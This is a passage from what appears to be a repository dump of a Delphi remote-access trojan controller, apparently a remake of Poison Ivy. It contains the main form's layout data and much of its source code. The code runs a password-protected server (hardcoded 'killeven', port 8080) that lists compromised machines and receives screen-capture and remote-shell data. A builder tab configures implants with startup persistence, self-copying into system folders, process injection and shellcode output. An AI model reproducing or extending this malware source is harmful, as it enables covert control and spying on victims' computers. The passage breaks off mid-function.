0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000}\n  end\n  object Timer_Stats: TTimer\n    Interval = 500\n    OnTimer = Timer_StatsTimer\n    Left = 671\n    Top = 80\n  end\n  object PopupMenu_Connections: TPopupMenu\n    Left = 591\n    Top = 224\n    object MenuItem_thumbnail: TMenuItem\n      Caption = 'Show Thumbnail'\n      OnClick = MenuItem_thumbnailClick\n    end\n    object MenuItem_PING: TMenuItem\n      Caption = 'Ping'\n      OnClick = MenuItem_PINGClick\n    end\n    object MenuItem_GroupView1: TMenuItem\n      Caption = 'GroupView'\n      OnClick = MenuItem_GroupView1Click\n    end\n  end\n  object ImageList_Thumbnail: TImageList\n    Height = 96\n    Width = 128\n    Left = 727\n    Top = 16\n  end\n  object XPManifest1: TXPManifest\n    Left = 727\n    Top = 48\n  end\n  object dlgSave1: TSaveDialog\n    Left = 726\n    Top = 218\n  end\nend\n"
  },
  {
    "path": "Client/FormMain.pas",
    "content": "unit FormMain;\n\ninterface\n\nuses\n  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,\n  System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,\n  CoolTrayIcon, Vcl.Menus, Vcl.StdCtrls, Vcl.Buttons, Vcl.ComCtrls, Vcl.Tabs,\n  Vcl.ExtCtrls, Vcl.Samples.Spin, System.ImageList, Vcl.ImgList,\n  diocp_tcp_server, UnitGlobal, Vcl.ActnMan, Vcl.ActnColorMaps, Vcl.XPMan,\n  Vcl.Imaging.jpeg, Winapi.ShellAPI;\n\ntype\n  TMainForm = class(TForm)\n    PopMenu_Tray: TPopupMenu;\n    MenuItem_Show1: TMenuItem;\n    MenuItem_EnableBalloontip1: TMenuItem;\n    N2: TMenuItem;\n    MenuItem_ExitPoisonIvy1: TMenuItem;\n    CoolTrayIcon1: TCoolTrayIcon;\n    StatusBar_1: TStatusBar;\n    TabSet_1: TTabSet;\n    SpeedButton_Version: TSpeedButton;\n    PageControl_Main: TPageControl;\n    ListView_Connections: TListView;\n    TabSheet_Connections: TTabSheet;\n    TabSheet_Build: TTabSheet;\n    Panel_Main: TPanel;\n    TabSheet_Setting: TTabSheet;\n    TabSheet_Stats: TTabSheet;\n    TabSheet_About: TTabSheet;\n    GroupBox_Setting: TGroupBox;\n    Panel_1: TPanel;\n    SpeedButton_Save: TSpeedButton;\n    ScrollBox_Setting: TScrollBox;\n    Label_1: TLabel;\n    Bevel_1: TBevel;\n    Label_5: TLabel;\n    SpinEdit_Port: TSpinEdit;\n    Label_6: TLabel;\n    Edit_Password: TEdit;\n    CheckBox_Password: TCheckBox;\n    ImageList_Flags: TImageList;\n    ScrollBox_Stats: TScrollBox;\n    Panel_11: TPanel;\n    Label_TotalAttempts: TLabel;\n    Label_TotalConnections: TLabel;\n    GroupBox_1: TGroupBox;\n    Label_Sent_Compressed: TLabel;\n    Label_Sent_UnCompressed: TLabel;\n    Label_Sent_Ratio: TLabel;\n    GroupBox_11: TGroupBox;\n    Label_Recv_Compressed: TLabel;\n    Label_Recv_UnCpmoressed: TLabel;\n    Label_Recv_Ratio: TLabel;\n    Memo_Stats: TMemo;\n    SpeedButton_ResetStats: TSpeedButton;\n    GroupBox_Stats: TGroupBox;\n    Label_2: TLabel;\n    Bevel_2: TBevel;\n    RadioButton_Layout_TreeView: TRadioButton;\n    RadioButton_Layout_Menu: TRadioButton;\n    Label_4: TLabel;\n    Bevel_3: TBevel;\n    CheckBox_ShowBallontip: TCheckBox;\n    Timer_Stats: TTimer;\n    PopupMenu_Connections: TPopupMenu;\n    ImageList_Thumbnail: TImageList;\n    CheckBox_Thumbnail: TCheckBox;\n    MenuItem_thumbnail: TMenuItem;\n    XPManifest1: TXPManifest;\n    GroupBox_About: TGroupBox;\n    ScrollBox_About: TScrollBox;\n    Label_TitleLabel: TLabel;\n    Label_authorlabel: TLabel;\n    Image_1: TImage;\n    ScrollBox_1: TScrollBox;\n    Label_Credits: TLabel;\n    Bevel_11: TBevel;\n    Label_DankeLabel: TLabel;\n    Bevel_12: TBevel;\n    Bevel_13: TBevel;\n    Label_11: TLabel;\n    ScrollBox_11: TScrollBox;\n    Label_Development_Team: TLabel;\n    Bevel_4: TBevel;\n    Label_SloganLabel: TLabel;\n    Label_SoftInfo: TLabel;\n    Label_3: TLabel;\n    Label_12: TLabel;\n    Label_13: TLabel;\n    GroupBox_Build: TGroupBox;\n    ScrollBox_Build: TScrollBox;\n    Label_14: TLabel;\n    Label_7: TLabel;\n    Edit_DnsList: TEdit;\n    SpeedButton_Add: TSpeedButton;\n    Label_8: TLabel;\n    Edit_ID: TEdit;\n    Label_9: TLabel;\n    Edit_BPassword: TEdit;\n    CheckBox_1: TCheckBox;\n    CheckBox_Socks5: TCheckBox;\n    Bevel_5: TBevel;\n    Label_10: TLabel;\n    Edit_Socks5_Server: TEdit;\n    Label_15: TLabel;\n    SpinEdit_Socks5_Port: TSpinEdit;\n    Label_16: TLabel;\n    Label_17: TLabel;\n    Edit_Socks5_Username: TEdit;\n    Edit_Socks5_Password: TEdit;\n    CheckBox_Startup: TCheckBox;\n    Bevel_6: TBevel;\n    Edit_StartupName: TEdit;\n    Label_18: TLabel;\n    SpeedButton_1: TSpeedButton;\n    Label_19: TLabel;\n    CheckBox_CopySelf: TCheckBox;\n    Label_20: TLabel;\n    Edit_FileName: TEdit;\n    Label_21: TLabel;\n    Bevel_8: TBevel;\n    Label_22: TLabel;\n    Edit_Mutex: TEdit;\n    SpeedButton_2: TSpeedButton;\n    CheckBox_Inject: TCheckBox;\n    SpeedButton_3: TSpeedButton;\n    RadioButton_InjectIE: TRadioButton;\n    RadioButton_InjectCustom: TRadioButton;\n    Bevel_9: TBevel;\n    Panel_2: TPanel;\n    RadioButton_SystemFolder: TRadioButton;\n    RadioButton_WindowsFolder: TRadioButton;\n    Label_23: TLabel;\n    Edit_InjectProcess: TEdit;\n    SpeedButton_4: TSpeedButton;\n    dlgSave1: TSaveDialog;\n    Panel_3: TPanel;\n    RadioButton_Binary: TRadioButton;\n    RadioButton_CArray: TRadioButton;\n    RadioButton_DelphiArray: TRadioButton;\n    Panel_4: TPanel;\n    RadioButton_PE: TRadioButton;\n    Label_24: TLabel;\n    SpinEdit_FileAlign: TSpinEdit;\n    RadioButton_ShellCode: TRadioButton;\n    Label_25: TLabel;\n    RadioButton_PythonArray: TRadioButton;\n    Bevel_7: TBevel;\n    Bevel_10: TBevel;\n    Bevel_14: TBevel;\n    Panel_5: TPanel;\n    RadioButton_CurrentRun: TRadioButton;\n    RadioButton_ActiveX: TRadioButton;\n    MenuItem_PING: TMenuItem;\n    CheckBox_2: TCheckBox;\n    MenuItem_GroupView1: TMenuItem;\n    procedure MenuItem_EnableBalloontip1Click(Sender: TObject);\n    procedure FormCreate(Sender: TObject);\n    procedure FormResize(Sender: TObject);\n    procedure SpeedButton_VersionClick(Sender: TObject);\n    procedure TabSet_1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean);\n    procedure FormMouseWheel(Sender: TObject; Shift: TShiftState; WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);\n    procedure CheckBox_PasswordClick(Sender: TObject);\n    procedure FormDestroy(Sender: TObject);\n    procedure SpeedButton_SaveClick(Sender: TObject);\n    procedure SpeedButton_ResetStatsClick(Sender: TObject);\n    procedure Timer_StatsTimer(Sender: TObject);\n    procedure MenuItem_thumbnailClick(Sender: TObject);\n    procedure MenuItem_Show1Click(Sender: TObject);\n    procedure MenuItem_ExitPoisonIvy1Click(Sender: TObject);\n    procedure CoolTrayIcon1Click(Sender: TObject);\n    procedure CoolTrayIcon1DblClick(Sender: TObject);\n    procedure Label_12MouseEnter(Sender: TObject);\n    procedure Label_12MouseLeave(Sender: TObject);\n    procedure Label_13Click(Sender: TObject);\n    procedure CheckBox_1Click(Sender: TObject);\n    procedure CheckBox_Socks5Click(Sender: TObject);\n    procedure SpeedButton_1Click(Sender: TObject);\n    procedure SpeedButton_2Click(Sender: TObject);\n    procedure SpeedButton_3Click(Sender: TObject);\n    procedure SpeedButton_AddClick(Sender: TObject);\n    procedure SpeedButton_4Click(Sender: TObject);\n    procedure RadioButton_CurrentRunClick(Sender: TObject);\n    procedure RadioButton_ActiveXClick(Sender: TObject);\n    procedure CheckBox_StartupClick(Sender: TObject);\n    procedure ListView_ConnectionsDblClick(Sender: TObject);\n    procedure MenuItem_PINGClick(Sender: TObject);\n    procedure CheckBox_InjectClick(Sender: TObject);\n    procedure CheckBox_CopySelfClick(Sender: TObject);\n    procedure CheckBox_2Click(Sender: TObject);\n    procedure MenuItem_GroupView1Click(Sender: TObject);\n  private\n    { Private declarations }\n    FTcpServer: TDiocpTcpServer;\n  private\n    procedure OnConnected(var msg: TMessage); message WM_CONNECTED;\n    procedure OnDisConnected(var msg: TMessage); message WM_DISCONNECTED;\n    procedure OnClientMessage(var msg: TMessage); message WM_CLIENT_MESSAGE;\n    procedure OnAddStats(var msg: TMessage); message WM_ADD_STATS;\n  public\n    { Public declarations }\n    procedure StartServer();\n    procedure UpdateStatusBarAndHint();\n    procedure SwitchBalloonHintState(b: Boolean);\n    procedure SwitchThumbnailState(b: Boolean);\n    procedure ResetStats();\n    procedure UpdateStats();\n    procedure ShowBalloonHint(id, addr, os: string);\n    procedure ErrorBox(s: string);\n    procedure InfoBox(s: string);\n    function FindGroupId(name: string): Integer;\n  end;\n\nvar\n  MainForm: TMainForm;\n\nimplementation\n\nuses\n  UnitClientContext, SimpleMsgPack, UnitShellCodes, UnitCountryInfo, UnitCommon,\n  UnitFormDns, UnitBuilder, FormOperate;\n\n{$R *.dfm}\n\nprocedure TMainForm.CheckBox_1Click(Sender: TObject);\nbegin\n  if CheckBox_1.Checked then\n    Edit_BPassword.PasswordChar := '*'\n  else\n    Edit_BPassword.PasswordChar := #00;\nend;\n\nprocedure TMainForm.CheckBox_2Click(Sender: TObject);\nbegin\n  if CheckBox_2.Checked then\n    Edit_Socks5_Password.PasswordChar := '*'\n  else\n    Edit_Socks5_Password.PasswordChar := #00;\nend;\n\nprocedure TMainForm.CheckBox_CopySelfClick(Sender: TObject);\nbegin\n  if CheckBox_CopySelf.Checked then\n  begin\n    RadioButton_SystemFolder.Enabled := True;\n    RadioButton_WindowsFolder.Enabled := True;\n    Edit_FileName.Enabled := True;\n    Edit_FileName.Color := clWindow;\n  end else\n  begin\n    RadioButton_SystemFolder.Enabled := False;\n    RadioButton_WindowsFolder.Enabled := False;\n    Edit_FileName.Enabled := False;\n    Edit_FileName.Color := clScrollBar;\n  end;\nend;\n\nprocedure TMainForm.CheckBox_InjectClick(Sender: TObject);\nbegin\n  if CheckBox_Inject.Checked then\n  begin\n    RadioButton_InjectIE.Enabled := True;\n    RadioButton_InjectCustom.Enabled := True;\n    Edit_InjectProcess.Enabled := True;\n    Edit_InjectProcess.Color := clWindow;\n  end else\n  begin\n    RadioButton_InjectIE.Enabled := False;\n    RadioButton_InjectCustom.Enabled := False;\n    Edit_InjectProcess.Enabled := False;\n    Edit_InjectProcess.Color := clScrollBar;\n  end;\nend;\n\nprocedure TMainForm.CheckBox_PasswordClick(Sender: TObject);\nbegin\n  if CheckBox_Password.Checked then\n  begin\n    Edit_Password.PasswordChar := '*';\n  end\n  else\n  begin\n    Edit_Password.PasswordChar := #0;\n  end;\nend;\n\nprocedure TMainForm.CheckBox_Socks5Click(Sender: TObject);\nbegin\n  if CheckBox_Socks5.Checked then\n  begin\n    Edit_Socks5_Server.Color := clWindow;\n    SpinEdit_Socks5_Port.Color := clWindow;\n    Edit_Socks5_Username.Color := clWindow;\n    Edit_Socks5_Password.Color := clWindow;\n\n    Edit_Socks5_Server.Enabled := True;\n    SpinEdit_Socks5_Port.Enabled := True;\n    Edit_Socks5_Username.Enabled := True;\n    Edit_Socks5_Password.Enabled := True;\n  end\n  else\n  begin\n    Edit_Socks5_Server.Color := clScrollBar;\n    SpinEdit_Socks5_Port.Color := clScrollBar;\n    Edit_Socks5_Username.Color := clScrollBar;\n    Edit_Socks5_Password.Color := clScrollBar;\n\n    Edit_Socks5_Server.Enabled := False;\n    SpinEdit_Socks5_Port.Enabled := False;\n    Edit_Socks5_Username.Enabled := False;\n    Edit_Socks5_Password.Enabled := False;\n  end;\nend;\n\nprocedure TMainForm.CheckBox_StartupClick(Sender: TObject);\nbegin\n  if CheckBox_Startup.Checked then\n  begin\n    Edit_StartupName.Enabled := True;\n    SpeedButton_1.Enabled := True;\n    RadioButton_CurrentRun.Enabled := True;\n    RadioButton_ActiveX.Enabled := True;\n    Edit_StartupName.Color := clWindow;\n  end\n  else\n  begin\n    Edit_StartupName.Enabled := False;\n    SpeedButton_1.Enabled := False;\n    RadioButton_CurrentRun.Enabled := False;\n    RadioButton_ActiveX.Enabled := False;\n    Edit_StartupName.Color := clScrollBar;\n  end;\nend;\n\nprocedure TMainForm.MenuItem_EnableBalloontip1Click(Sender: TObject);\nbegin\n  SwitchBalloonHintState(not MenuItem_EnableBalloontip1.Checked);\nend;\n\nprocedure TMainForm.MenuItem_ExitPoisonIvy1Click(Sender: TObject);\nbegin\n  Self.Close;\nend;\n\nprocedure TMainForm.MenuItem_GroupView1Click(Sender: TObject);\nbegin\n  ListView_Connections.GroupView := not ListView_Connections.GroupView;\n  MenuItem_GroupView1.Checked := ListView_Connections.GroupView;\nend;\n\nprocedure TMainForm.MenuItem_PINGClick(Sender: TObject);\nbegin\n  if ListView_Connections.Selected = nil then\n    Exit;\n\n  TClientContext(ListView_Connections.Selected.Data).SendPing;\nend;\n\nprocedure TMainForm.MenuItem_Show1Click(Sender: TObject);\nbegin\n  if Self.Visible then\n    Self.Visible := False\n  else\n    Self.Visible := True;\nend;\n\nprocedure TMainForm.CoolTrayIcon1Click(Sender: TObject);\nbegin\n  MenuItem_Show1Click(Sender);\nend;\n\nprocedure TMainForm.CoolTrayIcon1DblClick(Sender: TObject);\nbegin\n  MenuItem_Show1Click(Sender);\nend;\n\nprocedure TMainForm.ErrorBox(s: string);\nbegin\n  MessageBox(Handle, PChar(s), 'Error', MB_ICONERROR or MB_OK);\nend;\n\nfunction TMainForm.FindGroupId(name: string): Integer;\nvar\n  i: Integer;\nbegin\n  for i := 0 to ListView_Connections.Groups.Count - 1 do\n  begin\n    with ListView_Connections.Groups.Items[i] do\n    begin\n      if (Header = name) then\n      begin\n        Result := GroupID;\n        Exit;\n      end;\n    end;\n  end;\n\n  with ListView_Connections.Groups.Add do\n  begin\n    Header := name;\n    HeaderAlign := TAlignment.taCenter;\n    Result := GroupID;\n  end;\nend;\n\nprocedure TMainForm.FormCreate(Sender: TObject);\nvar\n  i: Integer;\n  sl: TStringList;\nbegin\n  Self.Height := 400;\n  Self.Width := 800;\n  sl := TStringList.Create;\n  try\n    sl.Append('Aphex');\n    sl.Append('shapeless');\n    sl.Append('Anskya');\n    sl.Append('ymofen');\n    Label_Credits.Caption := sl.Text;\n    sl.Clear;\n    sl.Append('Anskya');\n    Label_Development_Team.Caption := sl.Text;\n  finally\n    FreeAndNil(sl);\n  end;\n  // ȫֱ\n  g_ListeningPort := 8080;\n  g_Password := 'killeven';\n  g_TreeVeiwLayout := True;\n  g_ShowThumbnail := False;\n  SwitchBalloonHintState(True);\n\n  // ѡλ\n  TabSet_1.Parent := StatusBar_1;\n  TabSet_1.SetBounds(StatusBar_1.Panels.Items[0].Width + 3, 2, StatusBar_1.Panels.Items[1].Width - 4, StatusBar_1.Height - 5);\n  TabSet_1.ParentBackground := True;\n  TabSet_1.SoftTop := True;\n\n  // ״̬ť\n  SpeedButton_Version.Parent := StatusBar_1;\n  SpeedButton_Version.SetBounds(1, 3, StatusBar_1.Panels.Items[0].Width - 2, StatusBar_1.Height - 4);\n  SpeedButton_Version.Flat := True;\n\n  for i := 0 to PageControl_Main.PageCount - 1 do\n    PageControl_Main.Pages[i].TabVisible := False;\n  PageControl_Main.ActivePage := PageControl_Main.Pages[0];\n\n  FormResize(Self);\n\n  // tcpserver\n  FTcpServer := TDiocpTcpServer.Create(Self);\n  FTcpServer.WorkerCount := 0;\n  FTcpServer.RegisterContextClass(TClientContext);\n  FTcpServer.CreateDataMonitor;\n  ResetStats;\n\n  StartServer;\nend;\n\nprocedure TMainForm.FormDestroy(Sender: TObject);\nbegin\n  FTcpServer.SafeStop;\n  FreeAndNil(FTcpServer);\nend;\n\nprocedure TMainForm.FormMouseWheel(Sender: TObject; Shift: TShiftState; WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);\nvar\n  scroll_bar: TControlScrollBar;\nbegin\n  case PageControl_Main.ActivePageIndex of\n    1:\n      begin\n        scroll_bar := ScrollBox_Build.VertScrollBar;\n      end;\n    2:\n      begin\n        scroll_bar := ScrollBox_Setting.VertScrollBar;\n      end;\n    3:\n      begin\n        scroll_bar := ScrollBox_Stats.VertScrollBar;\n      end;\n    4:\n      begin\n        scroll_bar := ScrollBox_About.VertScrollBar;\n      end\n  else\n    Exit;\n  end;\n\n  scroll_bar.Position := scroll_bar.Position - (WheelDelta div 10);\nend;\n\nprocedure TMainForm.FormResize(Sender: TObject);\nbegin\n  StatusBar_1.Panels.Items[1].Width := MainForm.ClientWidth - (StatusBar_1.Panels.Items[0].Width + 3) - (StatusBar_1.Panels.Items[2].Width + 3) - (StatusBar_1.Panels.Items[3].Width + 3);\n  TabSet_1.Width := StatusBar_1.Panels.Items[1].Width - 5;\n\n  if (PageControl_Main.ActivePageIndex = 0) then\n  begin\n    Panel_Main.Left := -4;\n    Panel_Main.Top := -5;\n    Panel_Main.Height := MainForm.ClientHeight - StatusBar_1.Height + 10;\n    Panel_Main.Width := MainForm.ClientWidth + 8;\n  end\n  else\n  begin\n    Panel_Main.Left := 0;\n    Panel_Main.Top := -1;\n    Panel_Main.Height := MainForm.ClientHeight - StatusBar_1.Height + 0;\n    Panel_Main.Width := MainForm.ClientWidth + 0;\n  end;\nend;\n\nprocedure TMainForm.InfoBox(s: string);\nbegin\n  MessageBox(Handle, PChar(s), 'Info', MB_ICONINFORMATION or MB_OK);\nend;\n\nprocedure TMainForm.Label_12MouseEnter(Sender: TObject);\nbegin\n  (Sender as TLabel).Font.Color := clRed;\nend;\n\nprocedure TMainForm.Label_12MouseLeave(Sender: TObject);\nbegin\n  (Sender as TLabel).Font.Color := clBlue;\nend;\n\nprocedure TMainForm.Label_13Click(Sender: TObject);\nbegin\n  ShellExecute(Handle, 'open', PChar((Sender as TLabel).Caption), nil, nil, SW_SHOW);\nend;\n\nprocedure TMainForm.ListView_ConnectionsDblClick(Sender: TObject);\nvar\n  form: TOperateForm;\n  ctx: TClientContext;\n  sel: TListItem;\nbegin\n  sel := ListView_Connections.Selected;\n  if sel = nil then\n    Exit;\n\n  ctx := TClientContext(sel.Data);\n  if ctx.OperateForm = nil then\n  begin\n    form := TOperateForm.Create(Self);\n    form.Caption := Format('[%s] %s Poision Ivy Reload', [sel.Caption, ctx.RemoteAddr]);\n\n    form.ctx := ctx;\n    ctx.OperateForm := form;\n  end\n  else\n  begin\n    form := TOperateForm(ctx.OperateForm);\n  end;\n\n  form.Show;\nend;\n\nprocedure TMainForm.MenuItem_thumbnailClick(Sender: TObject);\nbegin\n  SwitchThumbnailState(not MenuItem_thumbnail.Checked);\nend;\n\nprocedure TMainForm.OnAddStats(var msg: TMessage);\nbegin\n  Memo_Stats.Lines.Add(string(msg.LParam));\nend;\n\nprocedure TMainForm.OnClientMessage(var msg: TMessage);\nvar\n  ctx: TClientContext;\n  cmsg: TClientMessage;\n  msgpack: TSimpleMsgPack;\n  li: TListItem;\n  temp: DWORD;\n  bmp: TBitmap;\n  mouse_pt, bmp_pt: TPoint;\nbegin\n  ctx := TClientContext(msg.WParam);\n  cmsg := TClientMessage(msg.LParam);\n  msgpack := TSimpleMsgPack.Create;\n  try\n    if (cmsg.cmd <> CMD_SCREENSPY_DATA) and (cmsg.cmd <> CMD_CMDSHELL_DATA) then\n    begin\n      Memo_Stats.Lines.Add('recv cmd: ' + CmdStrings[uint8(cmsg.cmd)]);\n    end;\n\n    case cmsg.cmd of\n      CMD_LOGIN_INFO:\n        begin\n          msgpack.DecodeFromStream(cmsg.buffer);\n\n          ListView_Connections.Items.BeginUpdate;\n          li := ListView_Connections.Items.Add;\n          with li do\n          begin\n            GroupID := FindGroupId(msgpack.S['group']);\n            Caption := msgpack.S['id'];\n            SubItems.Add(ctx.RemoteAddr);\n            SubItems.Add(msgpack.S['lan']);\n            SubItems.Add(msgpack.S['computer_name']);\n            SubItems.Add(msgpack.S['username']);\n            SubItems.Add(GetAccType(msgpack.I['acc']));\n            SubItems.Add(GetOsVersion(msgpack.S['os']));\n            SubItems.Add(IntToStr(msgpack.I['cpu']) + ' Mhz');\n            SubItems.Add(SizeToStr(msgpack.I['ram']));\n            SubItems.Add(GetVersion(msgpack.I['version']));\n            SubItems.Add('-');\n          end;\n          